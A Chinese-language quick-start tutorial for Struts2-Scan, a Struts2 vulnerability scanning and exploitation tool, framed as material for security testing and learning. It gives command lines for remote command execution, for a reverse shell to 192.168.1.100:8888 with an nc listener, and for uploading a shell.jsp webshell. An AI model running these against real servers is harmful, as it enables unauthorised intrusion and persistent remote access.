Struts2-Scan快速入门:5分钟学会基本使用

【免费下载链接】Struts2-Scan Struts2全漏洞扫描利用工具 【免费下载链接】Struts2-Scan 项目地址: https://gitcode.com/gh_mirrors/st/Struts2-Scan

Struts2-Scan是一款功能强大的Struts2全漏洞扫描利用工具,能够帮助安全测试人员快速检测和利用Struts2框架中的多种高危漏洞。该工具支持单个URL漏洞检测和批量URL检测,还能指定漏洞进行利用,获取WEB路径,执行命令,反弹shell和上传文件等操作。

工具简介:为什么选择Struts2-Scan?

Struts2-Scan基于互联网上公开的Struts2高危漏洞EXP开发,目前已支持包括S2-001、S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052、S2-053、S2-devMode、S2-057在内的多种漏洞。

主要特点

  • 全面的漏洞覆盖:支持20+种Struts2高危漏洞的检测与利用
  • 多样化的检测模式:支持单个URL检测和批量URL检测
  • 丰富的利用功能:部分漏洞支持获取WEB路径、命令执行、反弹shell和文件上传
  • 简单易用:命令行操作,参数清晰,上手成本低

环境准备:快速搭建运行环境

系统要求

  • Python 3.6.X及其以上版本
  • 第三方库:click, requests, bs4
  • 测试环境:Ubuntu 16.04(其他Linux发行版也可)

安装步骤

  1. 克隆仓库
git clone https://gitcode.com/gh_mirrors/st/Struts2-Scan
cd Struts2-Scan
  1. 安装依赖
pip install click requests bs4

核心功能:5分钟上手基本操作

查看漏洞信息

通过--info参数可以查看工具支持的所有漏洞详细信息,包括影响版本、请求方式、支持功能等。

python3 Struts2Scan.py --info

单个URL漏洞检测

使用-u参数指定目标URL,工具会自动扫描该URL是否存在支持的Struts2漏洞。

python3 Struts2Scan.py -u http://example.com/index.action

批量URL漏洞检测

如果需要扫描多个URL,可以将URLs保存到文件中(一行一个URL),然后使用-f参数指定文件路径。

python3 Struts2Scan.py -f urls.txt

指定漏洞利用

如果已经知道目标存在某个特定漏洞,可以使用-n参数指定漏洞名称进行利用。例如,利用S2-016漏洞执行命令:

python3 Struts2Scan.py -u http://example.com/index.action -n S2-016 --exec

执行后会进入命令执行shell,可以直接输入命令进行操作。

获取WEB路径

部分漏洞支持获取服务器WEB路径,使用--webpath参数即可。

python3 Struts2Scan.py -u http://example.com/index.action -n S2-016 --webpath

反弹shell

使用-r参数可以反弹shell到指定的IP和端口。

python3 Struts2Scan.py -u http://example.com/index.action -n S2-016 --reverse 192.168.1.100:8888

执行前需要在本地监听相应端口,如:nc -lvvp 8888

文件上传

使用--upfile--uppath参数可以上传文件到目标服务器。

python3 Struts2Scan.py -u http://example.com/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp

漏洞环境:测试与学习

项目中提供了多个Struts2漏洞环境的WAR包,位于Struts2环境/目录下,包括S2-001.war、S2-003.war、S2-005.war等。你可以将这些WAR包部署到Tomcat等服务器上,用于测试工具的功能。

注意事项

  • 工具仅用于安全测试和学习,请勿用于未授权的渗透测试
  • 不同漏洞支持的功能不同,具体请参考--info命令输出的漏洞信息
  • 使用时请遵守相关法律法规,尊重目标系统的安全性和隐私

通过以上步骤,你已经掌握了Struts2-Scan的基本使用方法。这款工具能够帮助你快速检测和利用Struts2漏洞,提高安全测试效率。如果在使用过程中遇到问题,欢迎交流反馈。

【免费下载链接】Struts2-Scan Struts2全漏洞扫描利用工具 【免费下载链接】Struts2-Scan 项目地址: https://gitcode.com/gh_mirrors/st/Struts2-Scan

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐